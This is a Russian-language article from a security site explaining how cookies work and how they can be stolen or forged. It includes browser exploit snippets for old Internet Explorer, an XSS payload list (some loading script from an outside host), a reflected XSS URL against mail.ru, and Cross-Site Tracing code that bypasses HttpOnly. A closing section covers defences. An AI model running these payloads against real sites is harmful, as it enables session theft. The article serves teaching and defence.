Underground InformatioN Center [&articles] 
[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive][home]

Фальсификация cookie

Оглавление

1 Описание технологии cookie
  1.1 Что такое cookie?
  1.2 Применение cookie
  1.3 Установка cookie
  1.4 Чтение cookie

2 Способы фальсификации cookie
  2.1 Общая информация
  2.2 Методы фальсификации
    2.2.1 Уязвимость броузера
    2.2.2 Уязвимость Internet ресурса
    2.2.3 Особое мнение
  2.3 Обзор XSS
  2.4 Хищение cookie при помощи Trace
  2.5 Безопасность технологии .NET

3 Способы защиты cookie


1 Описание технологии cookie.

1.1 Что такое cookie?

Cookie является решением одной из наследственных проблем HTTP спецификации. Эта проблема заключается в непостоянстве соединения между клиентом и сервером, как при FTP или Telnet сессии, т.е. для каждого документа (или файла) при передаче по HTTP протоколу посылается отдельный запрос. Включение cookie в HTTP протокол дало частичное решение этой проблемы.

Cookie - это некое значение в текстово-цировом виде, которое сервер передает браузеру. Браузер будет хранить эту информацию и передавать ее серверу с каждым запросом как часть HTTP заголовка. Одни значения cookie могут храниться только в течение одной сессии и удаляются после закрытия браузера. Другие, установленные на некоторый период времени, записываются в файл. Вот как выглядит схема работы удаленного хоста и клиента через Интернет:

Схема работы удаленного хоста и клиента через Интернет

Сами по себе cookies ничего не могут делать. Однако сервер может считывать содержащуюся в cookies информацию и на основании ее анализа совершать те или иные действия.

Клиент имеет следующие ограничения для cookies:

  • всего может храниться до 300 значений cookies
  • каждый cookie не может превышать 4Кбайт
  • с одного сервера или домена может храниться до 20 значений cookies

В случае, если cookie принимает новое значение при имеющемся уже в броузере cookie с совпадающими данными, старое значение затирается новым. В остальных случаях новые cookies добавляются.

1.2 Применение cookie.

Ипользование cookie - эффективное решение сохранения пользователькой информации. Многие считают их опасными, якобы они могут заразить компьютер вирусом или украсть их пароль подключения к Интернету. Как ни странно это утверждение является ошибочным. Но считать cookie безопасными тоже нельзя. Для примера приведу несколько примеров их использования и их "опасности":

1 Вы пользуетесь почтой с WEB интерфейсом. Чтобы не вводить пароль при каждом входе на ваш почтовый ящик, вы ставите галочку возле надписи "Сохранить пароль". Вследствии чего иформация с вашим логином и паролем сохраняется в cookie и при каждом входе на почту пароль и логин установлятся автоматически.

2 Похожий пример можно привести и с Интернет магазинами. Заполнив форму с данными о вашей кредитной карточке они сохраняются и при следующей покупке вам не придется заполнять все заново.

Это удобно с точки зрения пользователя, но о безопасности данной технологии не может быть и речи. Хотя некоторые методы защиты все-таки используются:

  • Информация из Cookie одного домена второго уровня (плюс подуровни) не может быть прочитана другими доменами.
  • Если документ кэшируется, то информация о cookie не кэшируется.
  • Информация Cookie может передаваться с помощью протокола SSL.

1.3 Установка cookie.

Установка cookie делается посредствам HTTP протокола. Например, клиент получив от сервера строку:

 Set-Cookie: name=value; EXPIRES=date; DOMAIN=domain_name; PATH=path; SECURE

"Запомнит", что для сервера domain_name необходимо установить значение переменной name в value. Вот краткое описание значения каждой переменной:

NAME=VALUE - строка символов, исключая перевод строки, запятые и пробелы. NAME-имя cookie, VALUE - значение.

expires=DATE - время хранения cookie, т.е. вместо DATE должна стоять дата в формате Wdy, DD-Mon-YYYY HH:MM:SS GMT, после которой истекает время хранения cookie. Если этот атрибут не указан, то cookie хранится в течение одного сеанса, до закрытия броузера.

domain=DOMAIN_NAME - домен, для которого значение cookie действительно. Например, domain=domen.com. В этом случае значение cоokie будет действительно и для сервера domen.com, и для www.domen.com. Но не радуйтесь, указания двух последних периодов доменных имен хватает только для доменов иерархии "COM", "EDU", "NET", "ORG", "GOV", "MIL", и "INT". Для доменов иерархии "RU" придется указывать три периода.

Если этот атрибут опущен, то по умолчанию используется доменное имя сервера, с которого было выставлено значение cookie.

path=PATH - этот атрибут устанавливает подмножество документов, для которых действительно значание cookie. Например, указание path=/win приведет к тому, что значение cookie будет действительно для множества документов в директории /win/, в директории /wings/ и файлов в текущей директории с именами типа wind.html и windows.shtml

Если этот атрибут не указан, то значение cookie распространяется только на документы в той же директории, что и документ, в котором было установлено cookie.

secure - если стоит такой маркер, то информация cookie пересылается только через HTTPS (HTTP с использованием SSL). Если этот маркер не указан, то информация пересылается обычным способом.


Разные языки программирования предлагают свою реализацию изменения cookie. Давайте рассмотрим некоторые из них:

1. HTML позволяет изменить значения печеньек(именно так переводится слово "cookie") так:

 
        

<META HTTP-EQUIV="Set-Cookie" CONTENT="name=john; EXPIRES=Friday,31-Dec-02 23:59:59 GMT; DOMAIN=server.ru; PATH=/users/; SECURE">

2. Реализация на Perl:

 print "Set-Cookie: name=john; expires=Friday,31-Dec-02 23:59:59 GMT; 
          path=/users/; domain=server.ru;\n\n";

3. То же на JavaScript:

 document.cookie="name=john; expires=Friday,31-Dec-02 23:59:59 GMT; 
          path=/users/; domain=server.ru;";

1.4 Чтение cookie.

Чтобы прочитать скриптом значение cookie, которое было установлено ранее, и соответствующим образом выполнить скрипт, используется переменная окружения HTTP_COOKIE.

1. На Perl это будет выглядеть так:

 $cookie = $ENV{'HTTP_COOKIE'};

2. При использовании SSI для просмотра значения cookie можно применить директиву:

 <!--#echo var="HTTP_COOKIE"-->

3. JavaScript может прочитать значение использовав свойство обьекта document:

 var strCokie=document.cookie;

Когда запрашивается документ с HTTP сервера, броузер проверяет свои cookie на предмет соответствия домену сервера и прочей информации. В случае, если найдены удовлетворяющие всем условиям значения cookie броузер посылает их в серверу в виде пары имя/значение:

 Cookie: name=john;

После всего это неискушенному пользователь может показатся, что опасности в данной технологии нет. Но это только на первый взгляд...

2 Способы фальсификации cookie.

2.1 Общая информация.
Подменить Cookie намного проще, чем их прочитать. Хотя если речь идет о удаленном компьютере, то задачи становятся равносильными. Дело в том, что подмена - это простая отправка Cookie на сервер, а чтение разрешено только серверу. Для реализации чтения используется так называемая технология Cross Site Scripting(СSS или XSS, назван так, чтобы избежать путаницы с CSS, aka Cascade Style Sheets). По заявлению "Panda Software Russia" данная уязвимость присутствует в следующих браузерах:

  • Mozilla (версии до 0.9.7.)
  • Netscape (версии до 6.2.1.)
  • MS Internet Explorer (5.5 и 6.0.)

Я считаю, этого достаточно, так-как это самые распространенные браузеры в сети Интернет. Cross Site Scripting можно осуществить через уязвимость в броузере или некорректное Web програмирование. Давайте рассмотрим все по порядку.

2.2 Методы фальсификации

XSS имеет два варианта реализации:

A: Уязвимость броузера
B: Уязвимость Internet ресурса

Каждый выбирает свой вариант, в зависимости от конкретной ситуации. Атака через уязвимость в броузере удобна ее универсальностью по отношению к Web ресурсам. В то же время она не будет эффективна, если пользователь использует иной броузер(а иногда и другую его версию). Уязвимость Internet ресурса - наоборот, безразлична к броузеру, но работает только с одним сайтом.

2.2.1 Уязвимость броузера

Буквально всю первую половину 2002 года на BUGTRAQ, почти ежедневно, поступали сообщения о уязвимостях Internet Explorer и других броузеров. На данный момент последнее, насколько мне извесно, известие за 24.10.2002 гласит:

"При передаче данных между окнами броузер проверяет, находятся ли они в одной зоне безопасности и в одном домене. Всего компания GreyMagic Security нашла девять способов обойти проверку и все они связаны с кэширование объектов....

<script>
var oWin=open("blank.html","victim","width=100,height=100");
var fVuln=oWin.document.getElementById; location.href="http://www.mail.ru";

setTimeout(
function(){
alert(fVuln("ElementIdInNewDoc").document.cookie);
}
,3000);

</script>

IE 5 SP2 и IE6 SP1 не уязвимы."

Как видно IE5-SP2 и IE6-SP1 не уязвимы. Для них есть другой експлоит за 16.10.2002:

"Элементы <frame> и <iframe> могут содержать URL других доменов или протоколов, поэтому для них созданы более строгие правила защиты, которые предотвращают доступ из фрейма одного домена к содержанию другого домена.

Есть несколько способов обратится к <iframe> (или <frame>) документам в Internet Explorer (<iframe id="oFrameId">):

  • oFrameId.document
  • document.all.oFrameId.contentWindow.document
  • frames.oFrameId.document
  • И другие

Все эти методы правильно обрабатываются Internet Explorer и он предотвращает любую попытку обращения к документу, который принадлежит другому домену.

Однако Microsoft пропустил одно важное свойство - "Document". Обнаружено, что когда используется "oIFrameElement.Document", и возращенный документ содержится внутри frame, не происходит никаких проверок защиты, находится ли документ в другом домене. Уязвимость позволяет атакующему получить доступ к DOM другого домена, и украсть cookie любого сайта, читать локальные файлы и выполнять произвольный код на системе клиента.

Пример (читает cookie mail.ru):

<script> 
onload=function () { 
setTimeout( 
function () { 
alert(document.getElementById("oVictim").Document.cookie); 
}, 
100 
); 
} 
</script> 
<iframe src="http://www.mail.ru" id="oVictim"></iframe>

Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0."

Как можно использовать эти уязвимости? Вот один из возможных сценариев. Некий пользователь имеет почту на www.mail.ru. Поставив галочку "Сохранить пароль", все его данные сохраняются в cookies. Теперь есть два варианта развития сценария:

1. Если есть физический или удаленный доступ к компьютеру.
2. Если доступа нет.

Для первого варианта нам просто нужно запустить експлоит. Для второго варианта нужен способ заставить пользователя запустить скрипт. Именно тут и возникает вопрос эффективности данного метода. При отсутствии физического или удаленного доступа к компьютеру надежнее использовать Уязвимость Internet ресурса. И наоборот. Схема "захвата" cookie имеет такой вид:

Схема "захвата" cookie

При необходимости эти данные можно перенести на другой компьютер или изменить. Делается это следующим образом:

<script> 
onload=function () {
setTimeout( 
function () { 
document.getElementById("oVictim").Document.cookie="name=value"; 
}, 
100 
); 
} 
</script> 
<iframe src="http://www.mail.ru" id="oVictim"></iframe>

Cookie можно не изменять, а послать запрос на сервер с уже измененными данными:

 GET /URL HTTP/1.0
Set-Cookie: name=value; EXPIRES=date; DOMAIN=domain_name; PATH=path; SECURE

2.2.2 Уязвимость Internet ресурса

Уязвимость Internet ресурса - это некая уязвимость некорректно написаного скрипта(PHP, Perl/CGI, Phyton... ). В данном случае нас интересует отсутствие фильтрации передаваемых параметров или ее слабая реализация.
Реальным примером может стать недавнее упоминание о уязвимости на www.mail.ru:
"Пользователи mail.ru, могут подвергнутся некому риску. Дело в том, что запрос вида http://win.mail.ru/cgi-bin/sendmsgok?To=text&Subject=text не проверяет значения передаваемых данных на Java Script. Это дает возможность злоумышленнику прочитать cookie пользователя..."

Чтение cookie, следовательно можно использовать так:

 http://win.mail.ru/cgi-bin/sendmsgok?Subject=<SCRIPT>alert('XSS')</SCRIPT>

Замечу, что данный метод неуместен если на сервере нет уязвимостий или они неизвестны.

2.2.3 Особое мнение

Некоторые способы имеют приоритет, но только в определенных ситуациях. Выбор метода остается за атакующим и зависит от конкретной ситуации.

2.3 Обзор XSS

При использовании уязвимости Internet ресурса можно применить список различных тегов, выполняющих одинаковые действия - выводящие сообщения "XSS":

<SCRIPT>alert('XSS')</SCRIPT>

<SCRIPT src="http://www.host.com/script.js"></SCRIPT>
(http://www.host.com/script.js путь к внедренному скрипту)

<BODY onLoad="alert('XSS')">

<LAYER src="http://www.host.com/script.js"></LAYER>
(http://www.host.com/script.js путь к внедренному скрипту)

<ILAYER src="http://www.host.com/script.js"></ILAYER>
(http://www.host.com/script.js путь к внедренному скрипту)

<LINK rel=stylesheet type="text/javascript" SRC="http://www.host.com/script.js">
(http://www.host.com/script.js путь к внедренному скрипту)

<IMG SRC="image.jpg" onError="alert('XSS')">
(image.jpg не существует)

<IMG SRC="JavaScript:alert('XSS')">

<IMG SRC="image.jpg" onLoad="alert('XSS')">
(image.jpg существует)

<META HTTP-EQUIV="Refresh" content ="1; URL=JavaScript:alert('XSS')">

<STYLE TYPE="text/css">
@import url(http://www.host.com/script.js); 
</STYLE>
(http://www.host.com/script.js путь к внедренному скрипту)

<STYLE type="text/javascript">alert('XSS');</STYLE>

<p style="left:expression(eval('alert(\'XSS\')'))">

2.4 Хищение cookie при помощи Trace

С выходом SP1 (Октябрь 2002) должна была исчезнуть уязвимость XSS в броузере Internet Explorer. Действительно, чтение cookie стало невозможным. Теперь при попытке обращения к cookie, броузер возвращал вместо значения пустую строку. Давайте взглянем на следующий пример:

<script>
function normalCookie() {
  document.cookie = "Cookie=Value";
  alert(document.cookie);
}

function httpOnlyCookie() {
  document.cookie = "Cookie=Value; httpOnly";
  alert(document.cookie);
}
</script>
         
<FORM>
<INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE="Display Normal Cookie">
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE="Display HTTPONLY Cookie">
</FORM>

Нажав на первую кнопку мы увидим значение переменной document.cookie.

А при попытке обращения к document.cookie с установленным флагом HttpOnly броузер возвращает пустую строку:

Казалось бы, данная технология должна обеспечить безопасность конфиденциальных данных. Но 1 Ноября 2002 года Jeremiah Grossman из WhiteHat предложил свой сценарий получения доступа к cookie.

Для понимания дальнейшего материала необходимо ознакомится с методом запроса "Trace".

Метод TRACE используется для получения ответного сообщения на запрос на уровне приложения. Конечному получателю запроса СЛЕДУЕТ отразить полученное сообщение обратно клиенту как объект ответа с кодом состояния 200 (OK). Конечным получателем является либо сервер, либо первый прокси-сервер, либо первый шлюз, получивший нулевое значение (0) в поле Max-Forwards в запросе. TRACE позволяет клиенту видеть, что получается на другом конце цепочки запросов и использовать эти данные для тестирования или диагностической информации. Если запрос успешно выполнен, то ответу СЛЕДУЕТ содержать все сообщение запроса в теле объекта (entity-body), а Content-Type следует быть равным "message/http". Ответы на этот метод не кэшируются.
Иными словами TRACE возвращает пользователю те данные которые были отосланы в запросе. Он состоит из следующих данных:

1. Строка запроса (Request line)
2. Заголовки (Headers)
3. Отсылаемые данные (Post data)

Apache, IIS и iPlanet поддерживают по умолчанию запрос TRACE согласно протоколу HTTP/1.1. Давайте взглянем как происходит запрос TRACE:

[digitalscream@planet]$ telnet mail.ru 80
Trying 194.67.57.51...
Connected to mail.ru.
Escape character is ‘^]’.
TRACE / HTTP/1.1
Host: mail.ru
X-Header: test

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2003 16:11:06 GMT
Server: 3WservRT 2001,VxWorks 5.4
Transfer-Encoding: chunked
Content-Type: message/http

TRACE / HTTP/1.1
Host: mail.ru
X-Header: test

WhiteHat предложили список серверов, которые поддерживают запрос TRACE:

  • www.passport.com
  • www.yahoo.com
  • www.disney.com
  • www.securityfocus.com
  • www.redhat.com
  • www.go.com
  • www.theregister.co.uk
  • www.sun.com
  • www.oracle.com
  • www.ibm.com

От себя добавлю, что и www.mail.ru можно смело добавить в этот список.

Поскольку наша цель это - чтение cookie, значит использование document.cookie нам не принципиально. Поскольку значения cookie передаются на сервер вместе с запросом, то становится ясна возможность использования запроса TRACE для наших темных дел. Но заставить броузер отправить запрос TRACE не так просто, потому как он использует в качестве метода запроса POST или GET. Для обхода этих ограничений и посылки специально отформатированного HTTP запроса на целевой сервер, необходима расширенная технология скриптов на клиентском компьютере. Некоторые технологии позволяют нам добиться необходимых результатов. Jeremiah Grossman предложил использовать ActiveX - XMLHTTP:

<script>
function sendTrace () {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://mail.ru",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

Результатом будет следующее сообщение:

Используя ActiveX компонент XMLHTTP, мы отсылаем запрос TRACE на целевой web сервер. Если есть поддержка TRACE, броузер покажет данные отосланные вместе с HTTP запросом. Internet Explorer отсылает по умолчанию данные, а JavaScript выводит окно с содержанием HTTP запроса. Если ваш браузер имеет cookie от удаленного сервера, или находится на сервере используя WEB авторизацию, то следовательно данные могут быть перехвачены злоумышленником. Эта технология гарантирует обход атрибута "HttpOnly", потому что не используется функция document.cookie. Но самое страшное то, что от CROSS-SITE TRACING не спасает даже SSL. На данном этапе важно осознать две вещи.

1 Данная технология поддерживается Internet Explorer.
2 Mozilla/Netscape воспринимают такие cookie, как обычные.

При использовании TRACE запрос должен исходить со скрипта принадлежащего одному домену с целевым сервером. Так, скрипт который посылает запрос TRACE и соединяется с mail.ru должен принадлежать серверу mail.ru. Технология доменных ограничений помогает защитить пользователей от XSS. Для обхода данного ограничения существуют два варианта: XSS в контексте броузера или сервера. Если возможность XSS присутствует на сервере, то предыдущий сценарий и будет эксплоитом. А для использования изъянов в броузере нужно воспользоваться таким сценарием:

1 Создание эксплоита для получения доступа в другую доменную зону (в принципе этого хватает если не используется флаг "НttpOnly").
2 Задание в качестве исполняемого кода сценария запроса TRACE.

Для примера воспользуемся изъяном, обнаруженным GreyMagic Security.

<script>
function xssDomain() {
var oWin=open("blank.html","victim","width=500,height=400");
var oVuln=oWin.external;
oWin.location.href=”http://mail.ru”;
setTimeout(
function () {
oVuln.NavigateAndFind(‘javascript:
xmlHttp=new ActiveXObject(“Microsoft.XMLHTTP”);
xmlHttp.open(“TRACE”,”http://mail.ru”,false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
’,””,””);
}
,2000);
}
</script>
<INPUT TYPE=BUTTON OnClick=”xssDomain();” VALUE=’TRACE XSS Domain’>
}

Данный пример не будет работать если установлен патч MS02-068. Но, тем не менее, вот следующий пример, работающий даже после установки патча:

<script>
function xssDomainTraceRequest(){
var exampleCode = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;
xmlHttp.open(\"TRACE\",\"http://mail.ru\",false)\;
xmlHttp.send()\;
xmlDoc=xmlHttp.responseText\;
alert(xmlDoc)\;";
var target = "http://mail.ru";
cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + cExampleCode + '")))’;
showModalDialog(target, null, readyCode);
}
</script>
<INPUT TYPE=BUTTON OnClick="xssDomainTraceRequest()" VALUE=”Show Cookie Information Using TRACE”>

Тут используется уязвимость функции showModalDialog. Уязвимость была найдена Larholm'ом, который, кстати, указывает, что ничего нового в этой технологии нет, а представляет она собой только несколько переиначенную уязвимость XSS. В самом описании он говорит, что это - "hyped, sensationalised snakeoil". Впрочем, другой исследователь безопасности, Peter Watkins, придерживается противоположного мнения, указывая, что указанная особенность работает и в броузере Mozilla.

2.5 Безопасность технологии .NET

Хорошим тоном программирования считается удалять из памяти некоторые данные если они длительное время не используются. Это относится и к данным cookie. Эти меры предосторожности необходимы для защиты конфиденциальной информации. Ведь аттакующему может удастся прочитать их используя уязвимости типа Buffer Overflow, Buffer Overrun, или прочитав дамп web приложения при его аварийном завершении... . Для примера давайте взглянем на программу написанную на Microsoft Visual C++® .NET и определим есть ли в ней ошибки.

BOOL DoStuff() {
char pPwd[128];
size_t cchPwd = sizeof(pPwd) / sizeof(pPwd[0]);

BOOL fOK = false;

if (GetPassword(pPwd, &cchPwd)) 
fOK = DoSecretStuff(pPwd, cchPwd);

memset(pPwd, 0, sizeof(pPwd));

return fOK;
}

Ошибок здесь нет. Пользовательский пароль запрашивается(например с cookie) проверяется и сразу уничтожается(заполняется нулями). Но в ходе работы программой используется функция mempy или strcpy, что при некоторых ситуациях создает угрозу аттаки Buffer Overrun или что-то вроде этого. Казалось бы, никаких проблем с безопасностью пароля быть не может, ведь он обнуляется. Но давайте взглянем на откомпилированный код:

?DoStuff PROC NEAR
; Line 14
sub esp, 68       ; 00000044H
mov eax, DWORD PTR ___security_cookie
xor eax, DWORD PTR __$ReturnAddr$[esp+64]
push esi
mov DWORD PTR __$ArrayPad$[esp+72], eax
; Line 19
lea eax, DWORD PTR _pPwd$[esp+72]
push 64       ; 00000040H
push eax
xor esi, esi
call ?GetPassword 
add esp, 8
test eax, eax
je SHORT $L30117
; Line 20
push 64       ; 00000040H
lea ecx, DWORD PTR _pPwd$[esp+76]
push ecx
call ?DoSecretStuff
add esp, 8
pop esi
; Line 25
mov ecx, DWORD PTR __$ArrayPad$[esp+68]
xor ecx, DWORD PTR __$ReturnAddr$[esp+64]
add esp, 68       ; 00000044H
jmp @__security_check_cookie@4
$L30117:
mov ecx, DWORD PTR __$ArrayPad$[esp+72]
xor ecx, DWORD PTR __$ReturnAddr$[esp+68]
mov eax, esi
pop esi
add esp, 68       ; 00000044H
jmp @__security_check_cookie@4
?DoStuff ENDP

Чего-то не хватает? Оптимизатор удалил строку "memset(pPwd, 0, sizeof(pPwd));"! Следовательно пароль все время хранится в памяти. Далее остается дело за проффесионалами. Этот способ позволяет и читать cookie с установленным флагом httpOnly. Но аттака предложенная Michael'ом Howard'ом слишком сложна в реализации и поэтому данный способ -- малоэффективен. Но возможно, при таком интенсивном развитии в области информационных технологий, это будет единственный способ получения конфиденциальной информации, несмотря на простое решение данной проблеммы:

#ifndef FORCEINLINE
#if (MSC_VER >= 1200)
#define FORCEINLINE __forceinline
#else
#define FORCEINLINE __inline
#endif
#endif

...

FORCEINLINE PVOID SecureZeroMemory(
  void *ptr, size_t cnt) {
  volatile char *vptr = (volatile char *)ptr;
  while (cnt) {
    *vptr = 0;
    vptr++;
    cnt--;
  }
  return ptr;
}

Данный пример -- функция очистки области памяти. Его преимущество в "неоптимизации", хотя такой код проиграет по скорости работы. Еще одним хорошим решением будет выключение оптимизации:

 #pragma optimize("g",off)

3 Способы защиты cookie

Как выход из сложившегося положения - шифрование данных. Этот способ не поможет при попытке подмены cookie, но эффективен при попытках чтения данных.
При написании WEB приложений важно не забывать о таких вещах как:

  • флаг httpOnly
  • фильтрация входных данных
  • шифрование на основе открытого и приватного ключей. (Шифрование наподобие XOR малоэффективно)

Более детально все описано в самом документе.
Наша безопасность зависит только от нас самих и только мы определяем какой ее уровень является необходимым. Я не пытаюсь развить у вас чувство паранои но и быть легкомысленным тоже не стоит...

Отдельное спасибо uinC Team за поддержку.
Использованние материала разрешено только при условии указания автора и источника.

[c] DigitalScream, (digitalscream@userline.ru)

Статья написана специально для UInC (http://www.uinc.ru).

Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск.

Любые материалы с этого сайта не могут быть скопированы без разрешения автора или администрации.


[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive][home]
 Underground InformatioN Center [&articles] Choose style:
2000-2014 © uinC Team